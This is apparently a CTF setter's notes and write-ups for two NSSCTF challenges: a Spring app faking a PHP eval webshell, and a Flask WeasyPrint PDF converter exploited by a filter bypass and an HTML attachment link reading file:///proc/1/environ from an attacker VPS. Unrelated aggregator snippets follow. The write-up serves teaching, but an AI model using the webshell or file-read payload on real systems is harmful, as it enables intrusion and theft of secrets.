NSSCTF Round#20 Basic 真亦假,假亦真 CSDN_To_PDF V1.2 出题笔记 (附wp+源码)

真亦假,假亦真

简介:java伪造php一句话马。实则信息泄露一扫就出,flag在/flag里面。

题目描述:开开心心签个到吧,祝各位师傅们好运~

静态flag:NSS{Checkin_h4v3_4_g00D_tINNe!}

/路由显示

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

//标准一句话木马~
eval($_POST[1]);
?>
docker build -t toftoffff . && docker run -d --name=toftoffff -p 9029:9029 --rm toftoffff

WP

开题

image-20240306003334659

做好事不留名,那我Jay17当然不干好事啦

image-20240306003359140

你不会真去getshell了吧,不会吧不会吧

image-20240306003437025

其实这只是Java伪造的一句话,源码:

package org.nss.nss_true_boot01;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {

    @GetMapping("/")
    @ResponseBody
    public String index() {
        return "<!DOCTYPE html>" +
                "<html>" +
                "<head><title>签到题题题</title></head>" +
                "<body>" +
                "<h1>" +
                "签到题,直接送大家shell了,做好事不留名,我叫Jay17(6s后页面跳转)<br>" +
                "</h1>" +
                "<script>" +
                "setTimeout(function() {" +
                "    window.location.href = '/shell.php';" +
                "}, 6000);" +
                "</script>" +
                "</body>" +
                "</html>";
    }



    @GetMapping("/shell.php")
    public String shell(){
        String htmlContent = "<!DOCTYPE html>" +
                "<html>" +
                "<body>" +
                "<code><span style=\"color: #000000\">" +
                "<span style=\"color: #0000BB\">&lt;?</span><span style=\"color: #DD0000\">php</span><br />" +
                "error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +
                "'Content-Type:&nbsp;text/html;&nbsp;charset=utf-8'</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +
                "__FILE__</span><span style=\"color: #007700\">);" +
                "<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +
                "<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +
                "</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +
                "<br /></span><span style=\"color: #0000BB\">?&gt;</span>" +
                "</span>" +
                "</code>" +
                "</body>" +
                "</html>";
        return htmlContent;
    }


    @PostMapping("/shell.php")
    public String shellhhhh(){
        String htmlContent = "<!DOCTYPE html>" +
                "<html>" +
                "<body>" +
                "<code><span style=\"color: #000000\">" +
                "<span style=\"color: #0000BB\">&lt;?</span><span style=\"color: #DD0000\">php</span><br />" +
                "error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +
                "'Content-Type:&nbsp;text/html;&nbsp;charset=utf-8'</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +
                "__FILE__</span><span style=\"color: #007700\">);" +
                "<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +
                "<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +
                "</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +
                "<br /></span><span style=\"color: #0000BB\">?&gt;</span>" +
                "</span>" +
                "</code>" +
                "真是shell我能给你?"+
                "</body>" +
                "</html>";
        return htmlContent;
    }


    @GetMapping("/flag")
    public String flag(){
        return "真是shell我能给你?不过flag真给你,师傅们玩的愉快~:NSS{Checkin_h4v3_4_g00D_tINNe!}";
    }


}

如何破局?其实假的一句话木马我有给hint,我故意调错了颜色

image-20240315190040053

同时,flag路由扫一下就出来了。

image-20240306003756559

image-20240306003830473

CSDN_To_PDF V1.2

简介:python WeasyPrint 的漏洞,之前出现过:[FireshellCTF2020]URL TO PDF(BUU)、2023羊城杯决赛(未公开环境)。我进行过二开,加大了一点难度,可以从代码逻辑缺陷入手绕过

hint:

WeasyPrint

必须包含blog.csdn.net

会过滤替换字符串html

文件夹名字可以是blog.csdn.net

题目描述:几年前的自用版CSDN博客PDF转换器

源码:

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
import re
from flask_weasyprint import HTML, render_pdf
import os

app = Flask(__name__)

URL_REGEX = re.compile(
    r'http(s)?://'
    r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)


def is_valid_url(url):
    if not URL_REGEX.match(url):
        return False
    if "blog.csdn.net" not in url:
        return False

    return True


@app.route('/', methods=['GET', 'POST'])
def CsdnToPdf():
    if request.method == 'POST':
        url = request.form.get('url')
        url = url.replace("html", "")
        if is_valid_url(url):
            try:
                html = HTML(url=url)
                pdf = html.write_pdf()
                response = make_response(pdf)
                response.headers['Content-Type'] = 'application/pdf'
                response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'

                return response
            except Exception as e:
                return f'Error generating PDF', 500
        else:
            return f'Invalid URL! Target web address: ' + url
    else:
        return render_template("index.html"), 200


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

docker build -t csdntopdf . && docker run -d -p 9030:8080 --name csdntopdf -e FLAG=NSSCTF{test_flag} --rm double_pickle

WP

开题:

image-20240307153300025

源码不知道需不需要给,算了不给了,你们搞黑盒吧,hint都有。

hint如下,能不能发现看大家啦:

1、url不符合要求的话,会返回Invalid URL! Target web address:xxxxx,可以发现我吧字符串html替换为空,双写绕过就行

2、题目提到了CSDN博客PDF转换器,所以url必须包含blog.csdn.net,看起来无法绕过,但是你看看源码就懂了,前端源码我有给hint,我的css文件用的是:http://120.46.41.173/Jay17/blog.csdn.net/templates/index.css,服务器上有个文件夹是不是叫blog.csdn.net,就这样绕,有想法的师傅可能还能在我的vps同目录下发现源码哦~

3、功能是转换成PDF,后端是python。不难想到是WeasyPrint ,这是一个 Python 的虚拟 HTML 和 CSS 渲染引擎,可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印

原题wp可以看看y4✌的:[BUUCTF][FireshellCTF2020]URL TO PDF-CSDN博客

首先探测一下漏洞:

http://120.46.41.173:9023/blog.csdn.net

image-20240315192008934

vps上文件test.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>

我们利用python WeasyPrint 的方法是:

payload:

http://vps-ip/link.html

这题利用方法:

payload:

http://120.46.41.173/Jay17/blog.csdn.net/link.hthtmlml

拿到PDF后,binwalk -e 文件名

image-20240315192621557

image-20240315193025817

赛题测试:

image-20240327152434430


http://www.niftyadmin.cn/n/5461179.html

相关文章

Set a Light 3D Studio:探索光影艺术的全新维度mac/win中文版

Set a Light 3D Studio 是一款领先的三维建模和渲染软件&#xff0c;它将设计师、艺术家和摄影师的创意想法转化为生动逼真的三维场景。这款软件以其强大的功能和直观的界面&#xff0c;成为行业内众多专业人士的首 选工具。 set.a.light 3D STUDIO中文版软件获取 在Set a Lig…

机器学习—— PU-Learning算法

机器学习—— PU-Learning算法 本篇博客将介绍PU-Learning算法的基本概念、基本流程、基本方法&#xff0c;并简单探讨Two-step PU Learning算法和无偏PU Learning算法的具体流程。最后&#xff0c;将通过Python代码实现一个简单的PU-Learning示例&#xff0c;以便更好地理解这…

上位机图像处理和嵌入式模块部署(qmacvisual图像拼接)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 qmacvisual本身提供了图像拼接的功能。功能本身比较有意思的。大家如果拍过毕业照&#xff0c;特别是那种几百人、上千人的合照&#xff0c;应该就…

QA:ubuntu22.04.4桌面版虚拟机鼠标丢失的解决方法

前言 在Windows11中的VMWare Workstation17.5.1 Pro上安装了Ubuntu22.04.4&#xff0c;在使用过程中发现&#xff0c;VM虚拟机的鼠标的光标会突然消失&#xff0c;但鼠标其他正常&#xff0c;就是光标不见了&#xff0c;下面是解决办法。 内容 如下图&#xff0c;输入mouse&a…

NFT-前端开发(一)

使用 在我们想要保存项目的目录下打开终端运行npx create-react-app test2命令初始化&#xff0c;test2是我们的项目名字&#xff0c;可以自己去更改。 初始化完成后&#xff0c;我们目录下就会多出一个test2文件夹 &#xff0c;然后我们在vscode中打开该文件夹 然后我们打开j…

小狐狸ChatGPT付费AI创作系统V2.8.0独立版 + H5端 + 小程序前端

狐狸GPT付费体验系统的开发基于国外很火的ChatGPT&#xff0c;这是一种基于人工智能技术的问答系统&#xff0c;可以实现智能回答用户提出的问题。相比传统的问答系统&#xff0c;ChatGPT可以更加准确地理解用户的意图&#xff0c;提供更加精准的答案。同时&#xff0c;小狐狸G…

jupyter Notebook 默认路径修改

1. anaconda prompt 中运行 jupyter notebook --generate-config 命令&#xff0c;将在 C:\Users\Think\.jupyter文件下生成 jupyter_notebook_config.py 文件。 2.在jupyter_notebook_config.py 文件中&#xff0c;找c.NotebookApp.notebook_dir 这个变量&#xff0c; (1)若…

vue2封装dialog弹框

vue部分 DialogComponent.vue {{ title }} {{ content }} js部分 // dialog.js import Vue from ‘vue’;import DialogComponent from ‘./DialogComponent.vue’;export default function showDialog({ title, content }) { return new Promise((resolve, reject) > { c…